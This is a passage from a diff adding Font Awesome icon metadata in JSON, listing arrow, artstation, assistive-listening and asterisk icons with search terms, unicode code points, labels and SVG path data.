12.3 4.7 17 0l99-99c7.6-7.6 2.2-20.5-8.5-20.5h-67V140c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "arrow-alt-circle-left": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow-circle-o-left", + "back", + "previous" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f359", + "label": "Alternate Arrow Circle Left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635310, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm116-292H256v-70.9c0-10.7-13-16.1-20.5-8.5L121.2 247.5c-4.7 4.7-4.7 12.2 0 16.9l114.3 114.9c7.6 7.6 20.5 2.2 20.5-8.5V300h116c6.6 0 12-5.4 12-12v-64c0-6.6-5.4-12-12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm116-292H256v-70.9c0-10.7-13-16.1-20.5-8.5L121.2 247.5c-4.7 4.7-4.7 12.2 0 16.9l114.3 114.9c7.6 7.6 20.5 2.2 20.5-8.5V300h116c6.6 0 12-5.4 12-12v-64c0-6.6-5.4-12-12-12z" + }, + "regular": { + "last_modified": 1628088634654, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M8 256c0 137 111 248 248 248s248-111 248-248S393 8 256 8 8 119 8 256zm448 0c0 110.5-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56s200 89.5 200 200zm-72-20v40c0 6.6-5.4 12-12 12H256v67c0 10.7-12.9 16-20.5 8.5l-99-99c-4.7-4.7-4.7-12.3 0-17l99-99c7.6-7.6 20.5-2.2 20.5 8.5v67h116c6.6 0 12 5.4 12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M8 256c0 137 111 248 248 248s248-111 248-248S393 8 256 8 8 119 8 256zm448 0c0 110.5-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56s200 89.5 200 200zm-72-20v40c0 6.6-5.4 12-12 12H256v67c0 10.7-12.9 16-20.5 8.5l-99-99c-4.7-4.7-4.7-12.3 0-17l99-99c7.6-7.6 20.5-2.2 20.5 8.5v67h116c6.6 0 12 5.4 12 12z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "arrow-alt-circle-right": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow-circle-o-right", + "forward", + "next" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f35a", + "label": "Alternate Arrow Circle Right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635310, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zM140 300h116v70.9c0 10.7 13 16.1 20.5 8.5l114.3-114.9c4.7-4.7 4.7-12.2 0-16.9l-114.3-115c-7.6-7.6-20.5-2.2-20.5 8.5V212H140c-6.6 0-12 5.4-12 12v64c0 6.6 5.4 12 12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zM140 300h116v70.9c0 10.7 13 16.1 20.5 8.5l114.3-114.9c4.7-4.7 4.7-12.2 0-16.9l-114.3-115c-7.6-7.6-20.5-2.2-20.5 8.5V212H140c-6.6 0-12 5.4-12 12v64c0 6.6 5.4 12 12 12z" + }, + "regular": { + "last_modified": 1628088634655, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm72 20v-40c0-6.6 5.4-12 12-12h116v-67c0-10.7 12.9-16 20.5-8.5l99 99c4.7 4.7 4.7 12.3 0 17l-99 99c-7.6 7.6-20.5 2.2-20.5-8.5v-67H140c-6.6 0-12-5.4-12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm72 20v-40c0-6.6 5.4-12 12-12h116v-67c0-10.7 12.9-16 20.5-8.5l99 99c4.7 4.7 4.7 12.3 0 17l-99 99c-7.6 7.6-20.5 2.2-20.5-8.5v-67H140c-6.6 0-12-5.4-12-12z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "arrow-alt-circle-up": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow-circle-o-up" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f35b", + "label": "Alternate Arrow Circle Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635310, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm292 116V256h70.9c10.7 0 16.1-13 8.5-20.5L264.5 121.2c-4.7-4.7-12.2-4.7-16.9 0l-115 114.3c-7.6 7.6-2.2 20.5 8.5 20.5H212v116c0 6.6 5.4 12 12 12h64c6.6 0 12-5.4 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm292 116V256h70.9c10.7 0 16.1-13 8.5-20.5L264.5 121.2c-4.7-4.7-12.2-4.7-16.9 0l-115 114.3c-7.6 7.6-2.2 20.5 8.5 20.5H212v116c0 6.6 5.4 12 12 12h64c6.6 0 12-5.4 12-12z" + }, + "regular": { + "last_modified": 1628088634655, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 504c137 0 248-111 248-248S393 8 256 8 8 119 8 256s111 248 248 248zm0-448c110.5 0 200 89.5 200 200s-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56zm20 328h-40c-6.6 0-12-5.4-12-12V256h-67c-10.7 0-16-12.9-8.5-20.5l99-99c4.7-4.7 12.3-4.7 17 0l99 99c7.6 7.6 2.2 20.5-8.5 20.5h-67v116c0 6.6-5.4 12-12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 504c137 0 248-111 248-248S393 8 256 8 8 119 8 256s111 248 248 248zm0-448c110.5 0 200 89.5 200 200s-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56zm20 328h-40c-6.6 0-12-5.4-12-12V256h-67c-10.7 0-16-12.9-8.5-20.5l99-99c4.7-4.7 12.3-4.7 17 0l99 99c7.6 7.6 2.2 20.5-8.5 20.5h-67v116c0 6.6-5.4 12-12 12z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "arrow-circle-down": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "download" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0ab", + "label": "Arrow Circle Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635313, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-143.6-28.9L288 302.6V120c0-13.3-10.7-24-24-24h-16c-13.3 0-24 10.7-24 24v182.6l-72.4-75.5c-9.3-9.7-24.8-9.9-34.3-.4l-10.9 11c-9.4 9.4-9.4 24.6 0 33.9L239 404.3c9.4 9.4 24.6 9.4 33.9 0l132.7-132.7c9.4-9.4 9.4-24.6 0-33.9l-10.9-11c-9.5-9.5-25-9.3-34.3.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-143.6-28.9L288 302.6V120c0-13.3-10.7-24-24-24h-16c-13.3 0-24 10.7-24 24v182.6l-72.4-75.5c-9.3-9.7-24.8-9.9-34.3-.4l-10.9 11c-9.4 9.4-9.4 24.6 0 33.9L239 404.3c9.4 9.4 24.6 9.4 33.9 0l132.7-132.7c9.4-9.4 9.4-24.6 0-33.9l-10.9-11c-9.5-9.5-25-9.3-34.3.4z" + } + }, + "free": [ + "solid" + ] + }, + "arrow-circle-left": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "back", + "previous" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0a8", + "label": "Arrow Circle Left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635313, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm28.9-143.6L209.4 288H392c13.3 0 24-10.7 24-24v-16c0-13.3-10.7-24-24-24H209.4l75.5-72.4c9.7-9.3 9.9-24.8.4-34.3l-11-10.9c-9.4-9.4-24.6-9.4-33.9 0L107.7 239c-9.4 9.4-9.4 24.6 0 33.9l132.7 132.7c9.4 9.4 24.6 9.4 33.9 0l11-10.9c9.5-9.5 9.3-25-.4-34.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm28.9-143.6L209.4 288H392c13.3 0 24-10.7 24-24v-16c0-13.3-10.7-24-24-24H209.4l75.5-72.4c9.7-9.3 9.9-24.8.4-34.3l-11-10.9c-9.4-9.4-24.6-9.4-33.9 0L107.7 239c-9.4 9.4-9.4 24.6 0 33.9l132.7 132.7c9.4 9.4 24.6 9.4 33.9 0l11-10.9c9.5-9.5 9.3-25-.4-34.3z" + } + }, + "free": [ + "solid" + ] + }, + "arrow-circle-right": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "next" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0a9", + "label": "Arrow Circle Right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635313, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm-28.9 143.6l75.5 72.4H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h182.6l-75.5 72.4c-9.7 9.3-9.9 24.8-.4 34.3l11 10.9c9.4 9.4 24.6 9.4 33.9 0L404.3 273c9.4-9.4 9.4-24.6 0-33.9L271.6 106.3c-9.4-9.4-24.6-9.4-33.9 0l-11 10.9c-9.5 9.6-9.3 25.1.4 34.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm-28.9 143.6l75.5 72.4H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h182.6l-75.5 72.4c-9.7 9.3-9.9 24.8-.4 34.3l11 10.9c9.4 9.4 24.6 9.4 33.9 0L404.3 273c9.4-9.4 9.4-24.6 0-33.9L271.6 106.3c-9.4-9.4-24.6-9.4-33.9 0l-11 10.9c-9.5 9.6-9.3 25.1.4 34.4z" + } + }, + "free": [ + "solid" + ] + }, + "arrow-circle-up": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "upload" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0aa", + "label": "Arrow Circle Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635314, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm143.6 28.9l72.4-75.5V392c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V209.4l72.4 75.5c9.3 9.7 24.8 9.9 34.3.4l10.9-11c9.4-9.4 9.4-24.6 0-33.9L273 107.7c-9.4-9.4-24.6-9.4-33.9 0L106.3 240.4c-9.4 9.4-9.4 24.6 0 33.9l10.9 11c9.6 9.5 25.1 9.3 34.4-.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm143.6 28.9l72.4-75.5V392c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V209.4l72.4 75.5c9.3 9.7 24.8 9.9 34.3.4l10.9-11c9.4-9.4 9.4-24.6 0-33.9L273 107.7c-9.4-9.4-24.6-9.4-33.9 0L106.3 240.4c-9.4 9.4-9.4 24.6 0 33.9l10.9 11c9.6 9.5 25.1 9.3 34.4-.4z" + } + }, + "free": [ + "solid" + ] + }, + "arrow-down": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "download" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f063", + "label": "arrow-down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635314, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M413.1 222.5l22.2 22.2c9.4 9.4 9.4 24.6 0 33.9L241 473c-9.4 9.4-24.6 9.4-33.9 0L12.7 278.6c-9.4-9.4-9.4-24.6 0-33.9l22.2-22.2c9.5-9.5 25-9.3 34.3.4L184 343.4V56c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24v287.4l114.8-120.5c9.3-9.8 24.8-10 34.3-.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M413.1 222.5l22.2 22.2c9.4 9.4 9.4 24.6 0 33.9L241 473c-9.4 9.4-24.6 9.4-33.9 0L12.7 278.6c-9.4-9.4-9.4-24.6 0-33.9l22.2-22.2c9.5-9.5 25-9.3 34.3.4L184 343.4V56c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24v287.4l114.8-120.5c9.3-9.8 24.8-10 34.3-.4z" + } + }, + "free": [ + "solid" + ] + }, + "arrow-left": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "back", + "previous" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f060", + "label": "arrow-left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635315, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M257.5 445.1l-22.2 22.2c-9.4 9.4-24.6 9.4-33.9 0L7 273c-9.4-9.4-9.4-24.6 0-33.9L201.4 44.7c9.4-9.4 24.6-9.4 33.9 0l22.2 22.2c9.5 9.5 9.3 25-.4 34.3L136.6 216H424c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24H136.6l120.5 114.8c9.8 9.3 10 24.8.4 34.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M257.5 445.1l-22.2 22.2c-9.4 9.4-24.6 9.4-33.9 0L7 273c-9.4-9.4-9.4-24.6 0-33.9L201.4 44.7c9.4-9.4 24.6-9.4 33.9 0l22.2 22.2c9.5 9.5 9.3 25-.4 34.3L136.6 216H424c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24H136.6l120.5 114.8c9.8 9.3 10 24.8.4 34.3z" + } + }, + "free": [ + "solid" + ] + }, + "arrow-right": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "next" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f061", + "label": "arrow-right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635315, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M190.5 66.9l22.2-22.2c9.4-9.4 24.6-9.4 33.9 0L441 239c9.4 9.4 9.4 24.6 0 33.9L246.6 467.3c-9.4 9.4-24.6 9.4-33.9 0l-22.2-22.2c-9.5-9.5-9.3-25 .4-34.3L311.4 296H24c-13.3 0-24-10.7-24-24v-32c0-13.3 10.7-24 24-24h287.4L190.9 101.2c-9.8-9.3-10-24.8-.4-34.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M190.5 66.9l22.2-22.2c9.4-9.4 24.6-9.4 33.9 0L441 239c9.4 9.4 9.4 24.6 0 33.9L246.6 467.3c-9.4 9.4-24.6 9.4-33.9 0l-22.2-22.2c-9.5-9.5-9.3-25 .4-34.3L311.4 296H24c-13.3 0-24-10.7-24-24v-32c0-13.3 10.7-24 24-24h287.4L190.9 101.2c-9.8-9.3-10-24.8-.4-34.3z" + } + }, + "free": [ + "solid" + ] + }, + "arrow-up": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "upload" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f062", + "label": "arrow-up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635317, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M34.9 289.5l-22.2-22.2c-9.4-9.4-9.4-24.6 0-33.9L207 39c9.4-9.4 24.6-9.4 33.9 0l194.3 194.3c9.4 9.4 9.4 24.6 0 33.9L413 289.4c-9.5 9.5-25 9.3-34.3-.4L264 168.6V456c0 13.3-10.7 24-24 24h-32c-13.3 0-24-10.7-24-24V168.6L69.2 289.1c-9.3 9.8-24.8 10-34.3.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M34.9 289.5l-22.2-22.2c-9.4-9.4-9.4-24.6 0-33.9L207 39c9.4-9.4 24.6-9.4 33.9 0l194.3 194.3c9.4 9.4 9.4 24.6 0 33.9L413 289.4c-9.5 9.5-25 9.3-34.3-.4L264 168.6V456c0 13.3-10.7 24-24 24h-32c-13.3 0-24-10.7-24-24V168.6L69.2 289.1c-9.3 9.8-24.8 10-34.3.4z" + } + }, + "free": [ + "solid" + ] + }, + "arrows-alt": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "arrows", + "bigger", + "enlarge", + "expand", + "fullscreen", + "move", + "position", + "reorder", + "resize" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0b2", + "label": "Alternate Arrows", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635318, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352.201 425.775l-79.196 79.196c-9.373 9.373-24.568 9.373-33.941 0l-79.196-79.196c-15.119-15.119-4.411-40.971 16.971-40.97h51.162L228 284H127.196v51.162c0 21.382-25.851 32.09-40.971 16.971L7.029 272.937c-9.373-9.373-9.373-24.569 0-33.941L86.225 159.8c15.119-15.119 40.971-4.411 40.971 16.971V228H228V127.196h-51.23c-21.382 0-32.09-25.851-16.971-40.971l79.196-79.196c9.373-9.373 24.568-9.373 33.941 0l79.196 79.196c15.119 15.119 4.411 40.971-16.971 40.971h-51.162V228h100.804v-51.162c0-21.382 25.851-32.09 40.97-16.971l79.196 79.196c9.373 9.373 9.373 24.569 0 33.941L425.773 352.2c-15.119 15.119-40.971 4.411-40.97-16.971V284H284v100.804h51.23c21.382 0 32.09 25.851 16.971 40.971z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M352.201 425.775l-79.196 79.196c-9.373 9.373-24.568 9.373-33.941 0l-79.196-79.196c-15.119-15.119-4.411-40.971 16.971-40.97h51.162L228 284H127.196v51.162c0 21.382-25.851 32.09-40.971 16.971L7.029 272.937c-9.373-9.373-9.373-24.569 0-33.941L86.225 159.8c15.119-15.119 40.971-4.411 40.971 16.971V228H228V127.196h-51.23c-21.382 0-32.09-25.851-16.971-40.971l79.196-79.196c9.373-9.373 24.568-9.373 33.941 0l79.196 79.196c15.119 15.119 4.411 40.971-16.971 40.971h-51.162V228h100.804v-51.162c0-21.382 25.851-32.09 40.97-16.971l79.196 79.196c9.373 9.373 9.373 24.569 0 33.941L425.773 352.2c-15.119 15.119-40.971 4.411-40.97-16.971V284H284v100.804h51.23c21.382 0 32.09 25.851 16.971 40.971z" + } + }, + "free": [ + "solid" + ] + }, + "arrows-alt-h": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrows-h", + "expand", + "horizontal", + "landscape", + "resize", + "wide" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f337", + "label": "Alternate Arrows Horizontal", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635318, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M377.941 169.941V216H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.568 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296h243.882v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.568 0-33.941l-86.059-86.059c-15.119-15.12-40.971-4.412-40.971 16.97z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M377.941 169.941V216H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.568 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296h243.882v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.568 0-33.941l-86.059-86.059c-15.119-15.12-40.971-4.412-40.971 16.97z" + } + }, + "free": [ + "solid" + ] + }, + "arrows-alt-v": { + "changes": [ + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrows-v", + "expand", + "portrait", + "resize", + "tall", + "vertical" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f338", + "label": "Alternate Arrows Vertical", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635318, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M214.059 377.941H168V134.059h46.059c21.382 0 32.09-25.851 16.971-40.971L144.971 7.029c-9.373-9.373-24.568-9.373-33.941 0L24.971 93.088c-15.119 15.119-4.411 40.971 16.971 40.971H88v243.882H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.568 9.373 33.941 0l86.059-86.059c15.12-15.119 4.412-40.971-16.97-40.971z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M214.059 377.941H168V134.059h46.059c21.382 0 32.09-25.851 16.971-40.971L144.971 7.029c-9.373-9.373-24.568-9.373-33.941 0L24.971 93.088c-15.119 15.119-4.411 40.971 16.971 40.971H88v243.882H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.568 9.373 33.941 0l86.059-86.059c15.12-15.119 4.412-40.971-16.97-40.971z" + } + }, + "free": [ + "solid" + ] + }, + "artstation": { + "changes": [ + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f77a", + "label": "Artstation", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775892, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z" + } + }, + "free": [ + "brands" + ] + }, + "assistive-listening-systems": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "amplify", + "audio", + "deaf", + "ear", + "headset", + "hearing", + "sound" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2a2", + "label": "Assistive Listening Systems", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635319, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm-80 236c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zM32 448c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm480-187.993c0-1.518-.012-3.025-.045-4.531C510.076 140.525 436.157 38.47 327.994 1.511c-14.633-4.998-30.549 2.809-35.55 17.442-5 14.633 2.81 30.549 17.442 35.55 85.906 29.354 144.61 110.513 146.077 201.953l.003.188c.026 1.118.033 2.236.033 3.363 0 15.464 12.536 28 28 28s28.001-12.536 28.001-28zM152.971 439.029l-80-80L39.03 392.97l80 80 33.941-33.941z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm-80 236c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zM32 448c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm480-187.993c0-1.518-.012-3.025-.045-4.531C510.076 140.525 436.157 38.47 327.994 1.511c-14.633-4.998-30.549 2.809-35.55 17.442-5 14.633 2.81 30.549 17.442 35.55 85.906 29.354 144.61 110.513 146.077 201.953l.003.188c.026 1.118.033 2.236.033 3.363 0 15.464 12.536 28 28 28s28.001-12.536 28.001-28zM152.971 439.029l-80-80L39.03 392.97l80 80 33.941-33.941z" + } + }, + "free": [ + "solid" + ] + }, + "asterisk": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "annotation", + "details", + "reference", + "star" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f069", + "label": "asterisk", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635319, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M478.21 334.093L336 256l142.21-78.093c11.795-6.477 15.961-21.384 9.232-33.037l-19.48-33.741c-6.728-11.653-21.72-15.499-33.227-8.523L296 186.718l3.475-162.204C299.763 11.061 288.937 0 275.48 0h-38.96c-13.456 0-24.283 11.061-23.994 24.514L216 186.718 77.265 102.607c-11.506-6.976-26.499-3.13-33.227 8.523l-19.48 33.741c-6.728 11.653-2.562 26.56 9.233 33.037L176 256 33.79 334.093c-11.795 6.477-15.961 21.384-9.232 33.037l19.48 33.741c6.728 11.653 21.721 15.499 33.227 8.523L216 325.282l-3.475 162.204C212.237 500.939 223.064 512 236.52 512h38.961c13.456 0 24.283-11.061 23.995-24.514L296 325.282l138.735 84.111c11.506 6.976 26.499 3.13 33.227-8.523l19.48-33.741c6.728-11.653 2.563-26.559-9.232-33.036z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M478.21 334.093L336 256l142.21-78.093c11.795-6.477 15.961-21.384 9.232-33.037l-19.48-33.741c-6.728-11.653-21.72-15.499-33.227-8.523L296 186.718l3.475-162.204C299.763 11.061 288.937 0 275.48 0h-38.96c-13.456 0-24.283 11.061-23.994 24.514L216 186.718 77.265 102.607c-11.506-6.976-26.499-3.13-33.227 